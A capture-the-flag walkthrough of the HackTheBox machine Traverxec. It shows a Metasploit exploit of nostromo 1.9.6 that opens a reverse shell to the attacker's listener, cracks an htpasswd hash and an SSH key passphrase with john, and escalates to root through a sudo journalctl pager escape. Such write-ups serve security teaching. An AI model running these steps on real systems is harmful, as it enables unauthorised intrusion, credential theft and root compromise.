CTF – HTB – Traverxec

We start with an nmap scan :

root@kali:~/Desktop/htb/Traverxec# cat TCP_scan
# Nmap 7.80 scan initiated Tue Nov 26 19:03:55 2019 as: nmap -sC -sV -o TCP_scan -Pn 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.017s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 26 19:04:12 2019 -- 1 IP address (1 host up) scanned in 17.20 seconds

The webserver is nostromo 1.9.6 which is vulnerable to an RCE :

root@kali:~/Desktop/htb/Traverxec# searchsploit nostromo
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit) | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | exploits/linux/remote/35466.sh
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

We quickly use the metasploit module to get an initial shell :

msf5 exploit(multi/http/nostromo_code_exec) > set rhosts 10.10.10.165
rhosts => 10.10.10.165
msf5 exploit(multi/http/nostromo_code_exec) > set lhost tun0
lhost => 10.10.14.200
msf5 exploit(multi/http/nostromo_code_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.200:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.200:4444 -> 10.10.10.165:37270) at 2020-01-27 22:05:30 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We find information about nostromo configuration :

cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html

# LOGS [OPTIONAL]

logpid logs/nhttpd.pid

# SETUID [RECOMMENDED]

user www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs /home
homedirs_public public_www

Simple enumeration reveals us the credentials for user david in /var/nostromo/conf/.htpasswd :

david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
root@kali:~/Desktop/htb/Traverxec# john david_credentials --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])

[...snip...]

root@kali:~/Desktop/htb/Traverxec# john --show david_credentials
david:Nowonly4me

1 password hash cracked, 0 left
root@kali:~/Desktop/htb/Traverxec#

The credentials don’t work in ssh or su david, we continue reading the nostromo man page and we find that we can access http://10.10.10.165/~david/ but we get on an html page with no other details, except written ‘user’s private space’.

By continuing reading the man page of nostromo, we find that not only /~david/ is accessible but also the homedir /public_www/. In our shell we do ls -la /home/david/public_www/ and we can access the files.

ls -la /home/david/public_www/

total 16
drwxr-xr-x 3 david david 4096 Jan 27 16:34 .
drwx--x--x 6 david david 4096 Jan 27 22:14 ..
-rw-r--r-- 1 david david 402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area

We then use david’s credential and /protected-file-area, which is protected by a 401 HTTP Auth.

Directory listing

We gunzip backup-ssh-identity-files.tgz and untar then we get an ssh private key. For the private key password we use ssh2john.py to convert our private key to a hash that we can crack with john.

root@kali:~/Desktop/htb/Traverxec# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
1g 0:00:00:38 13.85% (ETA: 13:35:53) 0.02628g/s 57335p/s 57335c/s 57335C/s 9178240514..91769176
1g 0:00:00:56 20.93% (ETA: 13:35:46) 0.01784g/s 57319p/s 57319c/s 57319C/s tigger102..tigger0968
1g 0:00:01:01 24.55% (ETA: 13:35:27) 0.01626g/s 60258p/s 60258c/s 60258C/s skylynn356..skylyenm8
Session aborted

We then login and grab user ssh -i id_rsa david@10.10.10.165. After a little enumeration we find some interesting files that we download to our machine :

root@kali:~/Desktop/htb/Traverxec# scp -i ./home/david/.ssh/id_rsa david@10.10.10.165:~/bin/* ./
Enter passphrase for key './home/david/.ssh/id_rsa':
server-stats.head 100% 802 42.2KB/s 00:00
server-stats.sh
david@traverxec:~/bin$ ./server-stats.sh
                                                     .----.
                                         .---------. | == |
Webserver Statistics and Data            |.-"""""-.| |----|
Collection Script                        ||       || | == |
(c) David, 2019                          ||       || |----|
                                         |'-.....-'| |::::|
                                         '"")---(""' |___.|
                                        /:::::::::::\" "
                                       /:::=======:::\
                                   jgs '"""""""""""""'

Load: 12:12:40 up 2:05, 6 users, load average: 0.00, 0.00, 0.00

Open nhttpd sockets: 6
Files in the docroot: 117

Last 5 journal log lines:
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:12:40 EST. --
Jan 28 12:12:06 traverxec su[8903]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david
Jan 28 12:12:08 traverxec su[8903]: FAILED SU (to david) www-data on none
Jan 28 12:12:19 traverxec su[8914]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david
Jan 28 12:12:21 traverxec su[8914]: FAILED SU (to david) www-data on none
Jan 28 12:12:38 traverxec su[8920]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david

server-stats.sh

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Since the file is under the ownership of user david and is executing /usr/bin/sudo with root privileges then we now that this command can give us a root shell. However we can’t change any of the arguments.

Some information on gtfobins explains that journalctl can be used to break out of the shell, and also that it invokes the default pager less.

This invokes the default pager, which is likely to be less, other functions may apply.

By executing the command the pager simply prints out the content without letting us invoking a shell. We proceed to force less to give us a prompt by resizing the terminal size so that we have to scroll the output, giving us a change to invoke a shell as root with !/bin/sh.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:20:38 EST. --
Jan 28 12:17:46 traverxec sudo[9376]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jan 28 12:17:46 traverxec sudo[9376]: www-data : command not allowed ; TTY=unknown ; PWD=/home/david ; USER=root ; COMMAND=list
Jan 28 12:19:30 traverxec sudo[9423]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=www-data
Jan 28 12:19:48 traverxec passwd[9435]: pam_unix(passwd:chauthtok): authentication failure; logname= uid=33 euid=0 tty= ruser= rhost= user=www-data
Jan 28 12:20:06 traverxec sudo[9442]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=www-data
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:20:41 EST
Jan 28 12:17:46 traverxec sudo[9376]: pam_unix(sudo:auth): auth could not identi
Jan 28 12:17:46 traverxec sudo[9376]: www-data : command not allowed ; TTY=unkno
Jan 28 12:19:30 traverxec sudo[9423]: pam_unix(sudo:auth): authentication failur
Jan 28 12:19:48 traverxec passwd[9435]: pam_unix(passwd:chauthtok): authenticati
Jan 28 12:20:06 traverxec sudo[9442]: pam_unix(sudo:auth): authentication failur
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#

And we completed the challenge!

Thanks for reading!